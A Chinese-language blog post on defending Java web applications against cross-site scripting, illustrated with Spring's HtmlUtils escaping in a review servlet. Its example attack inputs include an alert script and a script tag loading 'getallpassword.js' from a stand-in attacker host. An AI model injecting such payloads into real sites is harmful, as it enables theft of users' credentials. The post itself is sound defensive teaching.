Java如何防范XSS攻击

什么是XSS

XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。

XSS是一种经常出现在web应用中的计算机安全漏洞…多的就不说了,wiki里写的很清楚。

XSS原理

我来讲讲我接触到的XSS攻击,容易发生事故的地方就在评论区或问卷提交、注册等等涉及到文本提交操作的步骤中。如果你像我一样是一个勤勤恳恳牢记社会主义核心价值观的少先队员,一定会按问题提示或页面提示输入自然语言。而如果是动了歪脑筋的坏人,他可能会输入这样的信息来恶搞你。

1
<script>alert("未满十八岁不得浏览该网站");</script>

你可能觉得这没什么,但如果他是个超级坏人,提交的不是这种简单的弹窗脚本,而是这样呢?

1
<script src="www.hackyou.com/getallpassword.js"></script>

惊不惊喜?

XSS漏洞分类

XSS通常有两类:

  • 存储型XSS,主要出现在用户输入后会在下个页面显示的表单。例如评论或调查问卷。
  • 反射型XSS,主要表现为将脚本代码添加进URL地址的请求参数中。

如何预防XSS

在用户的每次提交前进行html转义,将html中的特定符号,如< > & "等分别转换为html转义字符&lt; &gt; &amp; &quot;

java转义方法:
使用jar包 org.springframework.web.util.HtmlUtils,关于html转义的操作:

1
2
3
4
5
/** HTML转义 **/  
String s = HtmlUtils.htmlEscape("<div>hello world</div><p>&nbsp;</p>");
System.out.println(s);
String s2 = HtmlUtils.htmlUnescape(s);
System.out.println(s2);

实例:在调用和数据库连接的DAO方法前,进行转义,例如注册和评论等功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public String doreview(HttpServletRequest request, HttpServletResponse response, Page page){
int oid = Integer.parseInt(request.getParameter("oid"));
Order o = orderDAO.get(oid);
o.setStatus(orderDAO.finish);
orderDAO.update(o);
int pid = Integer.parseInt(request.getParameter("pid"));
Product p = productDAO.get(pid);

String content = request.getParameter("content");
content = HtmlUtils.htmlEscape(content);

User user = (User) request.getSession().getAttribute("user");
Review review = new Review();
review.setContent(content);
review.setProduct(p);
review.setCreateDate(new Date());
review.setUser(user);
reviewDAO.add(review);
return "@forereview?oid="+oid+"&showonly=true";
}

相关链接:
2011年新浪微博XSS事件
新浪微博XSS攻击代码
html转义字符对照表
简单说下XSS黑站,请注意防范。